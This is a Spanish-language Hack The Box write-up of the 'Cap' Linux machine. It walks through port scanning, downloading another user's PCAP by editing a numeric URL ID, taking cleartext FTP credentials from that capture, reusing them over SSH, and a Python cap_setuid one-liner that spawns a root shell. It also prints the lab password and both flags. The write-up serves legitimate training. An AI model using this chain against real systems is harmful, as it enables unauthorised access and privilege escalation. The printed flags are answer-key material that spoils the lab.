



HACK THE BOX · LINUX

Cap

Writeup técnico completo ·
explotación reproducible

Máquina Cap resuelta

HTB Cap · 2026-04-15

Autor	Ramon Santos Sabarich / r4ms4nt
Tipo	Informe técnico completo y archivable
Objetivo	Documentar enumeración, explotación, user y root con trazabilidad clara y reutilizable
Fecha de resolución	2026-04-15



Informe técnico normalizado para archivo,
consulta y trazabilidad.

GUÍA DE LECTURA

Índice

Informe técnico consolidado para lectura, archivo y consulta. El contenido mantiene la secuencia real de enumeración, explotación, pivot, escalada de privilegios y cierre del laboratorio.

- Preparación del entorno
- Reconocimiento inicial
- Enumeración web y cierre de fase 1
- Descubrimiento del recurso PCAP útil
- Análisis de 0.pcap y extracción de credenciales
- Acceso SSH como nathan
- Obtención de user.txt
- Enumeración local para privesc
- Hallazgo clave: capabilities sobre Python
- Escalada a root
- Obtención de root.txt
- Resumen técnico final



1. Preparación del entorno

Creación del directorio de trabajo

```
cd ~/pentest/targets/HTB/easy
mkdir Cap
ls
pwd
```

Objetivo de este paso: crear el espacio de trabajo del caso y dejar separadas las carpetas de content, exploits y nmap.

Conexión a la VPN de HTB

```
sudo openvpn --config /home/r4mon/pentest/HTB-VPN/machines_eu-dedivip-1.ovpn
```

Objetivo de este paso: conectarse a la VPN de Hack The Box para poder interactuar con la máquina objetivo.

Fijar la IP objetivo

```
settarget 10.129.28.170 CAP
```

Objetivo de este paso: dejar visible en el entorno de trabajo la IP y el nombre de la máquina objetivo.

2. Reconocimiento inicial

Comprobación de conectividad

```
cd nmap
ping -c 1 10.129.28.170
```

Objetivo de este paso: verificar que la máquina objetivo es accesible a través de la red.

Identificación rápida del sistema

```
whichSystem.py 10.129.28.170
```

Resultado observado:

```
10.129.28.170 (ttl -> 63): Linux
```

Escaneo completo de puertos

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.28.170 -oG allPorts
extractPorts allPorts
```

Puertos abiertos observados:

- 21/tcp → FTP
- 22/tcp → SSH
- 80/tcp → HTTP

Salida relevante conservada:

PORT	STATE	SERVICE	REASON
21/tcp	open	ftp	syn-ack ttl 63
22/tcp	open	ssh	syn-ack ttl 63
80/tcp	open	http	syn-ack ttl 63

Escaneo de servicios

```
nmap -Pn -sCV -p21,22,80 -n 10.129.28.170 -oN nmap_tcp_services.txt
```

Hallazgos clave:

- 21/tcp → vsftpd 3.0.3
- 22/tcp → OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
- 80/tcp → gunicorn
- título web observado: Security Dashboard

Interpretación útil: la superficie dominante del caso pasa a ser la web, porque no solo hay un puerto 80 abierto, sino una aplicación con nombre propio y backend identificable.

3. Enumeración web y cierre de fase 1

Tras acceder a <http://10.129.28.170/>, la aplicación muestra un dashboard de seguridad y se observa una sesión o contexto visual asociado a Nathan.

En ese momento, el cierre razonable de fase 1 queda así:

- superficie dominante: web
- rama principal: WEB-BASE
- ramas secundarias: FTP, SSH
- siguiente paso único: perfilar la funcionalidad real del dashboard y revisar los recursos expuestos por la aplicación

Esta decisión se justifica porque:

- la web devuelve una aplicación real, no una landing vacía;
- FTP y SSH aún no ofrecen acceso útil por sí mismos;
- todavía no se había confirmado credencial válida ni login reutilizable.

4. Descubrimiento del recurso PCAP útil

Dentro del dashboard se accede a la funcionalidad:

```
Security Snapshot (5 Second PCAP + Analysis)
```

La navegación lleva a una ruta numerada:

```
http://10.129.28.170/data/1
```

Observación importante

La URL usa un identificador numérico, y además aparece un botón de descarga de captura. Esto sugiere que la aplicación permite acceder a diferentes PCAP en función del ID.

Prueba realizada

- descarga de 1.pcap
- cambio manual de la URL hacia `http://10.129.28.170/data/0`
- descarga de 0.pcap

Resultado observado

- 1.pcap está vacío
- 0.pcap contiene tráfico útil

Conclusión: el ID numérico es relevante y la captura útil para el caso es 0.pcap.

5. Análisis de 0.pcap y extracción de credenciales

El archivo 0.pcap se abre con Wireshark.

Hallazgo clave

Dentro de la captura se observa una sesión FTP en texto claro con estas credenciales:

```
USER nathan
PASS Buck3tH4TF0RM3!
```

Confirmación de validez

La propia captura muestra:

```
331 Please specify the password.
230 Login successful.
```

Por tanto, la credencial queda validada al menos para FTP.

Otros comandos visibles en la captura

```
SYST
PASV
LIST -al
TYPE I
PORT ...
RETR notes.txt
```

Observación relevante

La operación `RETR notes.txt` termina en error:

```
550 Failed to open file.
```

Por tanto, el valor real del PCAP no está en ese archivo, sino en la credencial reutilizable expuesta en claro.

Cambio correcto de rama

En este punto la ruta principal deja de ser solo web y pasa a ser:

- hallazgo dominante: credencial válida
- nueva rama principal: CREDENCIALES
- siguiente paso único: probar reutilización en SSH

6. Acceso SSH como nathan

Conexión

```
ssh nathan@10.129.28.170
```

Password utilizada:

```
Buck3tH4TF0RM3!
```

Resultado observado

Acceso correcto a la máquina como nathan:

```
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
```

Verificaciones iniciales

```
id  
whoami  
ls -la
```

Resultados:

- usuario efectivo: nathan
- UID/GID: 1001
- user.txt visible en el home del usuario

7. Obtención de user.txt

Lectura de la flag de usuario

```
cat user.txt
```

Flag de usuario:

```
d318e8d5e5ebf7aa4f9b3b2f7c33aa16
```

Ajuste de terminal para trabajar con más comodidad

```
export TERM=xterm
```


Este ajuste no forma parte de la explotación, pero sí del trabajo operativo durante la sesión SSH.

8. Enumeración local para privesc

Búsqueda de binarios SUID

```
find / -perm -u=s -type f 2>/dev/null
```

Resultado observado: aparecen los binarios SUID típicos del sistema, junto a entradas bajo snap, pero en lo conservado no hay una vía de explotación SUID validada a partir de esta búsqueda.

Búsqueda de capabilities

```
getcap -r / 2>/dev/null
```

Resultado observado:

```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip  
/usr/bin/ping = cap_net_raw+ep  
/usr/bin/traceroute6.iputils = cap_net_raw+ep  
/usr/bin/mtr-packet = cap_net_raw+ep  
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper =  
cap_net_bind_service,cap_net_admin+ep
```

Verificación específica del binario interesante

```
getcap /usr/bin/python3.8
```

Resultado:

```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```

Interpretación útil: /usr/bin/python3.8 puede invocar `setuid(0)` gracias a su capability, lo que abre una vía directa de escalada.

9. Hallazgo clave: capabilities sobre Python

Antes de ejecutar la escalada, se confirma el contexto actual:

```
whoami
```

Resultado:

```
nathan
```

A continuación se usa Python para elevar el UID efectivo a 0 y lanzar una shell:

```
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'
```

10. Escalada a root

Confirmación del nuevo contexto

```
whoami  
id
```

Resultado observado:

```
root  
uid=0(root) gid=1001(nathan) groups=1001(nathan)
```

Nota técnica

La shell conseguida eleva correctamente a `uid=0`, aunque conserva `gid=1001(nathan)` en la salida mostrada. Para este laboratorio eso es suficiente, ya que permite leer la flag de root y operar como superusuario.

Comprobaciones adicionales

```
ls -la  
cat user.txt  
cat root.txt  
find / -name root.txt 2>/dev/null
```

Observación importante: al principio `cat root.txt` falla porque la shell sigue situada en el home de nathan, no en `/root`.

La búsqueda confirma la ubicación correcta:

```
/root/root.txt
```

11. Obtención de root.txt

Lectura final de la flag

```
cat /root/root.txt
```

Flag de root:

```
420344e88a4a378d796944d13d7a0851
```

Con esto, la máquina CAP queda resuelta.

12. Resumen técnico final

Cadena completa validada

- 1 Preparación del entorno y conexión a HTB
- 2 Reconocimiento inicial
- 3 Descubrimiento de tres servicios: FTP, SSH, HTTP
- 4 Identificación de la web como superficie dominante inicial (Security Dashboard)

- 5 Acceso a Security Snapshot (5 Second PCAP + Analysis)
- 6 Descubrimiento de captura útil en 0.pcap
- 7 Análisis de 0.pcap con Wireshark
- 8 Extracción de credenciales FTP en texto claro
- 9 Reutilización de nathan / Buck3tH4TF0RM3! en SSH
- 10 Obtención de user.txt
- 11 Enumeración local
- 12 Hallazgo de cap_setuid sobre /usr/bin/python3.8
- 13 Escalada a root mediante os.setuid(0)
- 14 Obtención de root.txt

Flags

- user.txt → d318e8d5e5ebf7aa4f9b3b2f7c33aa16
- root.txt → 420344e88a4a378d796944d13d7a0851

Idea fuerza del caso

CAP es un laboratorio corto pero muy didáctico porque encadena tres ideas limpias:

- una exposición web que permite llegar a capturas PCAP;
- una credencial reutilizable visible en tráfico de red sin cifrar;
- una escalada local simple basada en Linux capabilities.
